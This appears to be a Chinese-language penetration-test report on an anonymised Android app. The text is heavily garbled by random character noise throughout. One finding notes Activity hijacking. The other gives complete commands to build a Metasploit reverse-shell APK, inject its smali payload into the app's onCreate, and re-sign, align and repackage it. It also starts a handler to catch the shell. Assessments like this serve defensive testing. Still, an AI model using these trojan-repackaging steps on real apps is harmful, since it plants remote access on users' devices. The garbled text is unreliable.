) f' I0 _& a+ j* V0 G R* I 7 p* s3 j9 h- d% D& s% {: n/ F7 l
. y: A' m1 v5 a
表1-2 测试结果
2 `' E$ P; X8 V9 o' }& B
' f( R5 N+ U) J: s- J' [' o1 d
3 v* }! _4 X" |7 W8 `
- O. _, q- W$ C: J- R6 R, A: p : w3 N, q1 ]: s
4 a8 S6 Y3 ?" E ' P h; r. h; W( i
" f- d7 k X: m
7 @* J6 W8 G$ ~1 Z) O3 b1 v" d( z% k! E X4 T
( { [# `+ C% D8 v: b! K6 r$ v0 s" i& d$ j9 ~4 x8 i
2 检测结果 : [, |, h$ G& Q/ m
, H* Y/ F) ^, [
/ N0 K* {- g! d2 ]& Z) K. t1 z" @) u1 p
) m9 T" b! B4 Y: ]4 ^2 H7 ^
" ?, K$ g' G% ^2 K4 J6 L
2.1 某某某
& G1 o, q: A" s8 l5 m
* A8 T) [" x0 H- `/ H8 ~! i
' C) `7 g; K' |
$ S0 k% e* S; J. U7 k
+ z# z0 {' H1 C- O
- l6 C5 H o. Z5 U7 S1 h4 L
2.1.1检测目标
" o5 q- R+ {% v1 ~5 M- R& ]$ x5 E
# E8 T0 _# v* m8 O/ c
7 J4 V ?! X5 Q
7 r+ r% s2 b+ \; u3 r " e) x: ~2 h& R* j+ @
7 d+ d& Y( P1 c. x
目标地址: 某某某某某某APP
8 r# T+ O( ~8 w& e& r/ ^1 p8 p& I7 ]0 _5 [- U0 e! |# n
8 [1 U7 } E- O( a0 D; c# B% d4 \5 D8 h9 j" [7 K" x
: J( A' t6 Q e0 E+ u$ E- b/ ]
A9 b$ ]( |' I9 y
2.1.2检测结果
' _0 f/ w# U; R9 u- o* f' B1 f$ i, L
; d* @/ g9 t; S {1 R+ I/ S
8 Z, c+ O* ]! M' P. _( V. {1 j- M0 z+ q) x
0 r' s& D: V' S) i% E" U+ r& `- c$ L1 R5 p
2.1.2.1
0 {0 u/ x, u0 A7 F9 f, P7 @
5 |/ ^8 S* F/ x$ v
1 u5 F8 [/ p# P. M
& A7 H+ R" c" p3 b
# _ i0 y' D9 c2 P7 `) N ~* F
' U. q5 U4 y$ H5 a, q
漏洞链接地址:某某某某某某APP 7 ]) {/ p' n+ c- N2 k
( H$ _" Q. ]& K5 I
& G! d; o/ n$ V# l
' h3 R r' g. V- c6 P
! C2 Y" G3 ~8 ~9 ]
, [ T1 _/ | ]0 L! C5 @( Z
& R8 ]; } F( c0 Q
) l- R+ _. M# ^) I0 R5 T* p
5 C- j+ v: N) R) r
B1 [% G; r# O1 ? 2 l1 [" E2 s( U1 c. u3 F! q
/ V! W s' i' V* m. ~2 a* J _; r7 `0 | 漏洞分析及取证:
* U7 Z/ t; z) {! C0 p6 o# G$ w$ q1 d3 A
# o/ z4 V" ?3 B6 f, X4 g' G; ~9 P
: O; S$ J/ y/ I, D4 S+ q, i
' G6 N( j0 ?% q: z# x
2 p2 `& a/ q. T 通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图:
! c, e) d' E7 M2 N- L% L1 C. c# E8 Y
& i1 n+ }, V( Q
5 h, O7 j, E; R3 `/ T. \# g. ^
& x/ Q! O* r$ K4 i' }# u# E9 m# t
- J7 i3 m% B8 _1 G' x3 @
4 L4 S7 a$ y3 ?( o, v, ~ n! V) Z7 M- k/ j) P# b+ F
( e' n K) n$ n' R5 C8 b8 m
7 u3 Z! ^* B! g& m- B
& A* M3 m2 ?' `9 G8 o
% e7 E8 ~/ n% Z) }) N( I' H/ K9 N4 n% `$ C
. F* u1 w# q) X! a) v
- [$ z1 [- W* y, h) ^4 S
: P: ?+ r2 X7 _. h' s+ y, R2 w" u& G1 |, W2 K
, U6 M2 [* C6 j% f! d8 D
0 D8 K; D! P4 y$ @8 c. Z% O
" \+ A' {( M5 w% N) f. C( l
' a4 p3 ?" d* i( L
) X N8 m' s& c: r4 p
0 N9 Z9 {1 m( v3 n" u% C$ L# n
+ \' h, i+ X8 h/ u" S
0 ]5 s; T/ D; ?/ c
, i- s4 S" [' W1 p0 n5 `. @; Q& f1 G, Y4 d1 T3 q
4 f4 D6 G4 A7 _) t5 ?
. g; R a6 m) p- @) ^' C% ?
* U9 v! K- q$ J) f7 z
, Y B# i: [: y& E' |
7 @ t- V& O5 j8 P5 g
8 r3 C2 m" S$ g& \# H- z8 T4 C N: W
: j8 i3 w" Q2 `# \+ S1 @ V5 B0 x6 A! u v
. Z* d+ p( R( n! P( w
: L( }/ s. K6 u9 s& t; k
漏洞危害:高 / N) ?1 }/ k4 i l) i/ h' D
, g& p$ v7 [, Q) t% h
3 N5 W1 W5 b# b+ w: q/ k1 t9 b
/ l: ?, r7 {9 A% b& q2 j: M. n! P
3 J- @7 P _8 x+ X$ L& K6 I: a8 T$ ?
/ ^5 `7 \) A2 p/ X$ a2 g* g
- {, x; j$ D8 T: L# Z% B+ Y + m; G8 e: v: a; d) h& _% S
4 e L5 {: W; Y
3 s# m, C$ P; \
" X' u# s, H) s) @ |
6 v& `& Y& G- O3 q( Y! K
# P9 R- r+ C- Q8 ~+ J+ O7 a' j
& L8 b' Y& I9 p; i: _/ q+ G# L/ I s5 A% N. @' {4 p
严重程度
) `# E8 H: ?- e+ a2 G2 e `" {4 |# g/ L' J6 w
' _! y3 }" W8 P0 P1 s
: g+ U+ M0 P2 z( |& w' X7 p* f$ d2 { |
4 o* _+ H& ?* A* Z
4 c0 b! p5 U5 x; J ! N5 N; @1 \4 C- k: c# }1 L+ i
$ J# H" u2 Z) A" g
" w# K+ J7 J4 h1 j7 u4 P# z
6 Y, s/ K3 V( G, e 高 ! u7 {. r0 a. }
0 b. Q' o7 D! o' o( f) u
9 F/ d! g7 g. I
' Y4 x+ k" I* F$ j7 d: J e | ; F5 O- V$ H- D* I: N
2 Q( Q5 o: _" b. B! W; }
- T% h/ Y; c- i
4 k ~5 R6 t& H% F9 ~* u
5 D( O0 j1 L1 s7 ]/ N7 c9 ~. |0 v3 `% U& s* ^- ~
■
+ x7 i& d$ |/ z$ f8 v5 N3 {1 m1 c
2 P8 A9 v+ T& ?( r
; h0 z }& X; O0 {7 u3 v2 H |
; }( a2 h* B9 {( w, [% G
) @3 ?! F, }6 p+ c6 |9 C4 O) D+ l1 S+ Q / y* J; R; B4 X" a3 j
4 z* s- c' c9 y" P& N8 W" i) L
: U( S2 h- i# q. n8 K
/ e! c3 n- N c8 ^3 h' h) @ 中 - Y! l B8 [* A8 ?2 E& _
2 c6 f8 o1 Z1 X7 k" k / x( M6 c0 Y2 l( Q- o
" Q7 \4 x# j: j5 {+ Q/ p
|
: S) _! r2 y G8 d' f; M
0 E5 M+ ~: D2 v5 s
# h/ o) v* S2 D/ c- K: n4 R# u# g
' W/ R: c1 {1 B' ~- d" ^$ f; f
! I3 X% ]0 C8 z2 H+ Z
$ y0 e# e" b; u C4 i5 r: m0 N' ]; V6 N; E/ W3 Y, t7 l
B4 c. s5 ?/ ^/ g( |2 k
# F5 B3 B+ s# n, v1 B3 Z
|
. G3 Q" _) T. f! z+ e: V8 R9 E2 w( l+ m5 z! x% T
' e4 I9 t! n. Q# b, W% [, I" O% S; a. A2 i6 o8 g
& A4 U* a0 q# K# b
/ j' Y# i7 ~: _6 q9 T! S& g 低
) H W: m! p7 ^1 L5 h
( Q2 @: [' @# h% w8 M% f
3 Y4 m; L, T; [) A/ P% T% q S7 E$ b) Y6 _7 f& f- f1 H4 R9 D
|
2 L4 a I& l% d# C" Z" A m
: J! q, C1 H6 {7 g9 k 2 X1 {: g0 ]2 b7 i
; `8 o6 ~3 I+ W. M: r" F
1 \# X2 w! @4 R) S6 A4 l: Y
+ E. n9 i) @$ F: C- D, ^! ? " s, d W9 k% g% t' |3 G: B. @
6 I6 b2 Z p& s* ^8 W/ B$ x8 |
/ X8 ~# q# _( d% ^- W! R6 S7 z K
7 b$ a5 X/ @8 ]% y+ E2 K7 q |
8 |2 ]5 L2 Z v1 W& H
# a5 g" ^: p8 B& r" M6 o
( ^5 Z0 ^8 ~0 ?' z4 d ~0 P& S! _: N, W. h8 j
; O: @9 w: w, K2 c+ A" e+ x
: _2 R! G- T9 H
* E. U1 J( n0 ^" b v0 k3 [
3 i( Z7 c3 Z2 V7 K' ~ q
9 {+ z: u+ j' h7 R1 z# \0 n
5 C. |) l6 V( V/ K " K; n" K6 S& x3 V. `
/ {) K& Y1 m2 f7 Z' R: A6 \, ~ + L/ Y* V/ @- }- G7 L- J' |
+ V4 u3 j! z6 n7 I( i/ c |( z* n' @
1 H& A5 D5 s/ p1 u; K
8 ~. C3 }2 J- V) t; C0 b ! \/ y; r! S1 T4 X& U6 d+ \& j) ?
- M2 U+ H/ ~1 c P' C4 o 修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。
, q# i& D4 A6 `. ?# K1 c# n1 t! s. _6 O+ h5 n7 ]
) h7 b" a7 o* a& G
3 o5 w4 c# W2 |* ?5 p& X
$ {) @# |$ o. g$ d0 x* T( G' T3 V( b- w) r |" s1 |
9 X" ?; M& R) J8 {8 I3 Y0 o+ E+ F
4 \$ t T1 X/ s$ I
0 X+ {& s. k$ j! M& Q3 w
, s9 [) E( X( U( K6 E+ \, ?( ^
5 |" \% R( y" N9 Q4 f$ X* y! C1 _% u
% [& c# B: k3 V* U1 H
2 i: M, v4 A& }+ G
, T7 L* Z3 M( h" V" |) P: t& O9 J5 ~0 s/ U& m0 v
: B- k% h/ \ h. n: b8 X8 B7 o3 A4 N6 L4 S2 |4 \
2.1.2.2 & A) c6 }, q# K& e: |) K3 _# a
2 u) n, a! q& d
6 d' h9 E/ V% P) P
# q4 Y/ J+ W- H/ B" p6 C+ v3 K 7 b1 N) Z8 Y( T" ?6 v o1 T) o
- _1 J! |# z: u. A. W9 }6 F 漏洞链接地址:某某某某某某APP
% I& Y7 c" V9 Y- y3 g4 e; q! t4 x9 |6 g! ~5 J! K( j- r5 l8 N( w, M
" \9 s/ ~2 l( Y* E
, o8 f+ Q5 U( J9 @* ~3 J( M! ?
" B. y( G% U9 q# l4 x6 F3 Z
- K! _2 b6 R4 _! B! b0 Q
漏洞分析及取证:
3 Y9 Y* M& E% T: g: O( V! n. u. `* H7 K9 b1 D
- M: ~+ c: m2 |" j) O" }
2 t) b7 H5 g0 {9 i/ V" `, l; D' [
# O/ b% U/ n1 s. h1 H% H
7 x" m0 `0 }& m 通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: . H8 L" S. m6 }7 \+ M
" r+ ^% E4 |0 }0 r E0 N
7 t, Q) G M, b8 z' d# a# P! p
5 N6 A3 l. ~$ L M0 W) D: w / ?; z {% ?- H ^: a8 t
5 t) _4 _ Z2 b- U
用Metasploit 生成木马 apk
- N \" g1 o) Z- R Z, G% A+ _
1 d% W2 j% z( W9 b) J0 N; x
3 @/ ~ w3 F% h4 h8 H3 A7 N& v/ V4 R. u; |% d2 C& J* W
; l; P2 s! S' }
3 n3 k: j3 } B! }
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk 3 u Z, _4 h5 j" S2 a
$ J: X' h$ m$ N0 Z( s) R g
- r) U3 e/ e9 C. V( b- a
: p3 M0 X/ u+ Q& l a% _/ B# v
3 [7 N+ V$ k- c6 y" D' y
: Z6 Y( e0 u- F: V& e 反编译目标apk和木马apk ' l9 t; K+ T$ }. M) v8 E
6 H+ e9 M) o. i* I8 `
, D6 i. A! e5 @. r3 O! \! Q
( M' B0 u2 Z: A. n/ _; x2 J
0 X, c' |! x! U$ t) b0 |
+ I- P& W) i5 C9 M: N7 V apktool d target.apk
% |7 N Q, P6 p6 D- B M$ {
9 m) f8 e) E0 F! H; ^ apktool d cockhorse.apk
9 _- i3 D' [0 m3 W
/ ], U8 D1 A+ h0 R6 l
; w( |9 O6 N5 H4 K- n7 O' d6 Z* Z$ j
5 J4 w- v6 Y: p- i
, |) F( R4 A8 `% [: N 木马 apk 注入目标 apk
7 v6 Y/ d* c5 Z; `) ] B
1 k) ^: b% F* G- m
6 s9 K5 ~# Z9 N6 s c' O
; W8 \1 D6 Z' J. S( j8 \ - m4 y+ b6 b3 F3 P# s
# l. w& Y9 ?! B5 V 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
+ j. r, w. `- I4 X- m' y
: I- u/ q# w! U invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
" c7 L [; f: w0 X+ q- y6 d0 \, _( l( C" t7 d S
7 _' h$ i% E n% L+ b! Z; A5 [9 l6 A5 |8 _6 c
8 P2 z' I3 M/ }& z4 M
! [) w3 d4 s ^7 p* b( ` 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 : {; |& V. {% J: l: t* p' g
+ ~! R/ S4 m% y! H% e
( v5 R. u7 D" F6 K+ ]5 g
' r4 |3 l) J8 [8 ]' U " z9 r& [" r& f5 a, R) P8 b
& _2 Z- q; y( m) C7 @ I
将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下
6 }) c" m, P! L; B- a! x( X6 {$ ?7 d1 a
9 R. q' H F& f' {# ^1 b
5 R/ T& @8 ~/ u: ~ # _) A' q! t5 E* j( o+ s& p. d( q R
# ~( h* g" q) i7 N
回编译生成最终 apk 0 d) X1 E3 u6 F, x, n, z+ l
& g7 G1 C% ?% G
3 a1 N4 a0 W0 L, L5 c7 I
4 g, f( R& n2 a9 B2 d( P 4 q. a# @/ v7 g9 d
" ?$ c$ V/ B0 b( H- ?6 U
重新打包 ; | I( l/ B S4 p1 z+ s
( e( x2 Q& H3 N
7 I! L2 d, q: f' r4 k$ m& e$ O0 f9 P) A0 h: |: |% c
b9 D" \# q0 u% Q% j
! H; X2 I' U" u+ Z! q% F5 J+ B7 G apktool b -o repackage.apk target_app_floder
8 T4 ~7 i- s0 V* L5 v) C0 N& b$ t! l% v2 D9 F. K/ D3 ` t
, [+ \7 S# `0 I1 c
' l9 B8 ~/ J) t7 p ; E8 y0 A9 X, {1 v: O0 w
6 h& ~5 o# {2 W- [4 s6 C 创建签名文件,有的话可忽略此步骤 & \: n2 @0 p1 W; r! o( I
0 S* h2 ~" B! Y: [
0 H7 m" b) H5 s8 T, ~+ a5 F
( O" v( {7 d* T9 B
; U. Z8 D+ H9 x. a1 y- z! T! | o, `9 D* e, p3 `
keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000
5 k6 u: Q# q; j" c @8 D; W, A5 C- ]' q* ?; p3 j; x6 \
0 L4 I& S, o1 u$ A. C
/ }, L1 ]% a1 y9 Q E 8 Y t( z) j5 Y5 e# g
7 K- w( Q1 P4 d; I4 v1 W 签名,以下任选其一 4 o" H z4 o4 h9 h; N( O
0 N) v' ^8 X1 B. ?- ^% f% p. Y
@, U9 S- Y0 _3 Q/ N4 K( ]& ?1 q
! p1 G' Q5 A3 O0 H8 }' B ) ?' E4 v- ~/ A! y
$ C9 @$ a6 x+ g/ f
jarsigner 方式 ' {( f2 j6 W5 u3 U6 ^" U
, B0 j+ D& j1 S( j
& f3 U( z8 R" T) r. h& d* ]
' ?, } ]0 @" X1 t( [3 `
y1 L5 |6 d' c" }; T a* _
- [& f) w+ b4 R0 E$ P" ?
jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname
) B) k& X: [. ?& @7 b- v3 Z" F4 k( J8 X7 Y. v9 e3 P3 {
# r: j, m. X6 ~7 r# `, ]9 Y+ G
* j* @) I; S& ^* ]0 ~& c+ C5 V 8 _) x o7 Z2 l3 ]$ ?/ }0 U
" [, _( r% B9 i' _0 n0 Y( D apksigner 方式
, b# U2 r9 S. T8 V$ l4 d; Y1 {: ` c4 j* k
: r, Q0 ^) p- T0 h$ W
[7 U1 _4 a J2 } y" |* }1 m
+ `+ ^) y/ D4 a0 D
# T+ o0 I8 V: i; Z apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk 8 i$ c. w c% a1 j2 [. { q* t
8 s! c. S7 Y4 G. W u
0 I1 G m7 M/ }* F" A! [- M$ B+ I& N6 B! O
8 a% o) \& t9 F) A2 D' c# Y1 Z( ]
如需要禁用 v2签名 添加选项--v2-signing-enabled false
& Q9 g7 V5 }& m* L( U _
+ N7 P5 }6 L: `4 E. B; u
" M, p( r. m' p: I
& z0 A9 N" Z9 w6 r+ h- G
) r5 k# b6 C8 q
! d+ m1 X4 h! P3 ]' g" E 验证,以下任选其一
' K9 _- P. U7 V: G, c' A- n3 @- H% D1 f: H$ ~' E9 C* S' E* b7 @
5 M/ q: p; ^' J
% f6 G8 N+ x+ X; G; x
- U9 f- v/ D9 ]. H8 p
& u1 o2 N! q& ~9 t/ s) C jarsigner方式 , O, Z4 i; c+ G; n7 j- p7 {
8 ~4 h: |$ L+ k
2 I* B i4 @+ T! u5 Y9 w3 o( W3 y
|9 n8 ]+ |) q! } 5 e! _, U/ v: K2 {
5 v; \" a9 M. K8 e
jarsigner -verify repackaged.apk ( \: s; k* {- m$ w& @! v
5 C# [$ O9 i, `! V
$ v1 A$ G; H& F$ x3 ?( Y& W" x- m( h0 F% {( [& s! ~3 a
- T) o' J* c: R( g* y* a, q2 d& m' M
& D; U7 r$ D% L( R6 N O5 j1 b: t* X
apksigner 方式 0 i4 v# b/ P2 V5 n
6 E9 E) h9 @$ ?' D Y& t! L
+ ]% z3 v0 a1 I+ n, U1 V% u
5 e/ `. [4 v* i
9 `2 u: Z8 F% C H6 O( o2 J+ K) |' ^" _2 K8 w U
apksigner verify -v --print-certs repackaged.apk
" j% M' `. |) O# }6 |: r$ P) |
! ~7 c2 T8 S: p2 B' Z7 `" C
/ l; a* H5 e- m) i$ r! q- L
( X3 O" t7 J; Q; f2 }" e# S
5 e8 k- s6 E" A Y( _+ ~- ?9 z$ S2 c5 A3 u% g, C8 f5 H6 D
keytool方式
! s; T7 J; `/ d4 l" Z
- [ L$ \! V1 G9 z
% p; q# s# N4 d$ ?! x0 @* s' y' z, C
. T. v( Z' j) P5 I# O 9 X8 k3 {% ]( P2 u8 w
" _% w- c/ D: Z
keytool -printcert -jarfile repackaged.apk : J/ ^# h( ~# J: T5 W
; {9 j5 Y5 ^ e8 j1 }( c4 X9 \# T; B0 y
. |' ^0 u3 s3 r* m8 k5 s8 M9 O6 p" M
/ V) p, H9 o" R+ {
. y' w d( N$ n+ t6 S' b' _9 n( D7 z9 C' R1 ~+ Y4 M8 _, p3 q+ W
对齐
( X4 j1 M) G0 W9 o9 e
/ a+ U0 z9 V# z7 w
" s% K: y2 W, ]5 y3 I
. ?9 q8 h, }9 g% E5 }& [; E
: l0 C( R+ T) v2 s
" \( g: T2 O) n& ~ A. ?- Q 字节对齐优化
$ H! w+ V+ \! d6 v9 F- F2 ?2 g0 c( I, R3 Z. p0 V$ B
! T! K0 |! s; }! Z/ k
% d9 b9 V" ~/ x+ e: R
4 ~7 J" j+ J* |0 y0 p
( N5 Q$ J0 I5 \5 u& V
zipalign -v 4 repackaged.apk final.apk
3 T" I5 L3 R3 T1 j: t( ^: W
& G+ K" [& }4 k
) p8 R/ I/ q; {2 m
1 P3 x' ~& G* h" q! Q 2 I" v9 w) d. Q$ o& z
- Z9 j, l( \7 H, i6 C; Q" S5 { 检查是否对齐
, X$ X) e. ^" P" F, u! g0 w$ q& m: a9 X- N
" H8 u5 |$ n0 d5 G
. E% c {% B m1 N5 p
3 ]8 Z9 s5 e+ ~4 {
+ [9 m7 x0 r$ j0 a zipalign -c -v 4 final.apk 1 s" ^% {$ j: C9 P8 ]
9 U& L3 J/ g3 C* D4 \ m
# C) e4 E N9 K4 i/ {" _8 e
. D9 }9 \) G8 [ f; n1 r/ T+ `8 v2 R+ @& j
& @8 b, |( n9 X8 T1 ^ 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行
; _! M- _& Q4 @, }
; X. L9 x% m- B3 Y# ]+ j
/ Q" ?4 R7 p! h7 q- f, q) C
: g) W2 A- r8 E" j7 d
: z% `, c; ~- R& M( v% F- y6 [3 l+ m5 x/ L/ {9 ?
启动Metasploit控制台,配置参数等待上线 % {4 D2 k3 E6 ^1 s0 W8 H2 t1 X4 K0 ?
; O* [9 m5 w; P
- X( m8 M5 J0 c% m! l
- z( I9 J. e8 j9 E& Y5 G
7 u* P) r0 ~) O% s7 [; I
5 `/ B6 ]( X/ }3 v 在终端依次输入如下命令 ; ?4 x5 x, o( v$ R
: g( X2 G' C- i9 E" v) ]
' F& c; p9 D9 ]% g( P2 Y& N& ^
% u% X/ n7 ~/ S5 _$ v$ E6 C/ `
0 L/ Q' A+ [( L# E5 d5 P T8 k0 F, F* N# N1 o
msfconsole 1 b. M3 R5 m2 O1 i: h3 S
N/ ?' n: V, h; g
7 M ]8 }8 y( ?0 c+ Y/ q9 J: K1 J: Z
- y( Y* z( u9 L5 b# U $ Y: U1 {4 g$ }8 ]* b. _$ }5 h7 Q
: o/ h" a, m3 ^! Z4 G+ ]8 D( c
use exploit/multi/handler
- x" N1 V& z* W/ ~+ h6 s8 c8 X1 q4 R0 k8 p( }. `
; j; |, K: {$ Z' M0 l, g G! _' q' K5 f0 a( s+ y, m6 K
8 o" m) k1 O' s" Z- G7 E
) d; A. }0 [) P& [& h* Y6 D set PAYLOAD android/meterpreter/reverse_tcp & ]7 J& |. u* h
3 A; p9 X( Q/ Q9 Q$ A
" E+ f' G6 W4 _9 g
* L: I$ u' c1 d ; A7 h2 e9 L* d
! O/ E( y- m& _" m set LHOST 192.xxx.xx.xx
5 { ^- M6 W3 O) {+ x' \) `0 b0 ]9 E' U( w/ t6 P# O
- I; X) N- { c8 Q! h; u, z; t- j, S C8 [6 M- h, a
5 X: ^0 A# ~* Y! \% R! J; N9 s) B0 V) x; S, m( `! m
set LPORT 4444
( p3 h) {. N" M0 T0 ^% [& `( N) l. `* G$ Y
( [, M. f! i" h* J$ z7 N+ x
/ s3 z# r7 O5 P0 o" V8 `2 f* m2 v5 s 5 {2 k; e# C$ b& Z) Q H8 ~8 x) X
! S4 e b( _5 d4 R+ [" y exploit : T3 @- y$ H+ B' b
$ U+ A8 X$ L6 Z3 z$ J
/ T6 d7 e- a: I1 |' ~1 r
4 k. @' R: p9 u- f/ `) R C' M # Z: P. R" M% y/ z5 U; V
; Z7 V# {% q' u2 }
之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
' C: [# C7 n- l; j
! W& N9 m1 d* m. t( Q }
$ t, ]8 c$ [/ l* H' c; _- X0 ~$ `6 l2 u' m- q
- z- L+ I' c- ]. o- P& E* s; z. h2 Q
3 H& ]+ ^. z0 v7 Y 漏洞危害:中
* r! L ?0 W$ F0 p: x/ k- W( _& _* M) `7 N- [: Y' |- Q
2 A2 @- B8 G- b
1 n5 M# J. Q1 ?8 N7 D
9 F7 [+ F' a/ y' @8 K$ O( a
4 X/ G; r b7 B6 _* G/ T+ X% Y6 ~
w8 }" g4 R! c# X. m7 b* }. ^& S6 f i7 h5 ~# @
- r$ K8 a) N6 K1 h
* z4 ]" ^3 ~9 G, M1 \# y. r ; W9 k1 B4 w9 S4 ]4 x# Q/ Q% d Y
) U5 f. n( P6 I) E( c2 [
& Q1 M" q$ B4 Z
4 ^8 Y6 X& @9 ?" L' Q | ' X. O$ q1 D/ k) `; I
5 R& m+ s- P7 @9 L( [
/ k. Q) N5 O; C4 n6 G) J: m
1 S1 g C7 t! o. M& `+ }: v6 J C: s' m9 w0 f 严重程度 ( j- P- ~/ v& Y) P5 ^3 j }
* T8 R3 k% d% j/ {+ {
+ g8 y9 i3 }0 H) _2 ~( u. S4 a' B$ n, Q9 C8 l, {
| 5 V% U% c, _; q1 b5 ?( @4 K/ ?6 y2 i
+ U7 P4 _+ C5 o) ]3 N2 C t
3 [, s F9 ^0 i1 `1 C1 e0 ]
# D! u: {3 I5 z; D# L
. e+ B/ u) e1 ^8 n- d: z$ G
6 J) T# i% C4 C' a& @* x 高
* l* A' c1 Y$ r
& Q+ G ]9 B/ M* Y+ n & q y' v# r9 [/ y; H' p! l
2 [/ f+ r) ?9 @2 @2 U ]2 _ |
! m8 X: @ Q$ K& ^5 \
2 A' g5 F1 C3 n8 Y5 z
/ i6 ?. R" L5 g ~8 F# B y+ ~
' p: T1 _8 T. V# a; N( j; c2 F ) B- S# n4 \0 Y8 p0 ^
8 u# y# y& v; J4 U+ ~& I8 w
■ + Q0 P) q3 v2 p4 g
8 ^. ~6 T8 \, W G, w& C
! Q( F* Y0 L/ c7 g1 s
+ J, T3 @! [6 K5 s) M |
: N n& x8 R( F6 o4 M" W. w
7 M4 ]& D. j; I; `, f J- R+ P$ s. C8 t/ `
# ]; P) ]6 j) R" v
8 {% J; f8 K; n6 K5 H) L, k; H. q+ `0 S' ^$ }& x: n. J% V0 `# m4 t
中
C2 a9 Q% X( G) w9 s# K' @! i
# w: l" r$ i% f# `9 j
( M1 r) l3 Y6 v/ W! @, R. i8 K; O8 I2 r# N) F- {0 v
| ; v% s8 `9 g6 V1 Y4 W( e k
# H' [9 l: j/ t3 ?! g
3 V1 Z5 j, _- z% I
! |9 r. u8 _! @3 X3 N# O
3 I- H6 `+ q) B9 x4 e
: @7 V/ b7 F1 @ e0 k5 J6 v6 N3 \ 2 k7 ]/ |5 J! V/ H) V0 i5 L, }' ^; u3 {
6 }4 \* ^3 ^* U7 R }8 } 0 {5 N0 M# Z5 N/ Q
" K$ T1 g0 I# i' t# D2 x$ g2 C
+ U: O; N% H4 h
* b3 D0 C( D/ Q3 C* H% D6 \
|
P) K0 m* v# ^3 [% K1 u, R% F; Z; g8 z& v
' i; d' v+ X% C( Y- r1 `4 I! h 9 n, E) E* v+ O7 C7 [
8 ~1 G3 v U! q
+ @- f4 |4 w: w. O5 W$ y7 U+ g4 ^* V5 J6 i7 I
低
* q( b7 q4 f2 ~+ i# y' ]0 K7 Q4 W* D- F, T: p/ i; ?
; |+ m! e3 R& B5 k6 U3 J& b+ O0 T' _* ]
|
1 K/ j) r* b: B" ]8 T' h* w& X+ A$ b4 T
5 \# [% C- \+ L* _/ T& S3 }' V$ y) ]: L2 G9 a7 F/ t- j5 _# C7 X
5 Y: n! R. D0 m$ l; M; [
9 `6 b/ t0 W2 ~+ x
7 J( Y V0 [! ]: p/ K9 c. |8 u2 B* b' [/ n. W
% Y( u2 G' Z* ?1 u5 G( w
5 z) R7 Y# U v& @
) v4 k) u% R2 u/ I
% y. j3 `0 S2 ]/ i/ Z; |3 y0 X; G3 p | ; E7 r- @8 `7 t) c N' i
0 p9 [+ g6 r$ F- R& Z. Q) R
& N& s* N: A% }! @/ k
+ P) O0 v3 H5 \; i _" H( L9 C
( Z" B" J2 h( l% I1 K
2 H: [0 A0 ]% y$ P5 e5 _8 B
$ ^' @ Z' g' D# b# _) q$ q- _0 `( W0 \
' s/ r' B( D' L& A
# u) W! ?2 L- c0 J) `. O2 a
. }0 Z3 z- ~, X- L9 q
) A" d8 O; |9 y6 D
+ \: p1 ~& _6 q" u) R0 c/ O . t o7 W4 ~$ I+ W4 M, z
2 z; e2 s T8 A0 l3 U! F
W5 q5 c8 |) v3 g$ r* L+ T3 g! R. c* D
" m* \% B2 e, Q" A, l
. V4 u" V+ x8 t" N& Z 修复方法:
6 L" W/ t: h; g1 Q/ {
. I3 l5 i3 \5 t: Z3 x
& b+ c7 \: q. d4 c2 o: r `" a3 X) L/ y4 f+ R" s
( }- k, _6 f* d, ~0 a6 H. a9 b( \2 @4 [! |3 N! S% f7 n) S
1.在 APP 启动时应做签名校验防止二次打包。
@; e# m" E' b, K
. [, W& H" C7 |; q
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。
/ r5 B, ^( W, V- Z7 L0 t
' L3 L# m. W. c) i# e, Y. q* X1 t( @
7 R4 ]* A: w2 g5 `+ H U8 ~* n% L3 S/ \* ^
$ f. R' b; }" Y" E, d* b1 i! C2 Q" C) k
+ l8 J, x. x3 m% B4 c% P4 y- U& l s; J( @
) L9 |" L4 f- _% B# ]
; o+ `6 D3 R5 y3 y5 A- \1 _/ L# s. u2 B! E
1 e3 [- S, y" |$ y* r) v5 |) J4 v6 M8 J3 E9 u2 T0 `6 Q- [; S+ W0 }
/ n( s8 U1 _. |' Z
4 Y' \5 W6 |9 o- F # r! v& y5 t7 d. `
- M% s7 P5 `) E$ z
) U) M; ?8 ?/ X2 ]2 X. y
$ p" c1 ~; X) ]) w4 r0 |4 ~
4 B! I: i# d/ X9 F6 W9 E" _7 U4 G4 i* T5 k1 u' |3 n Z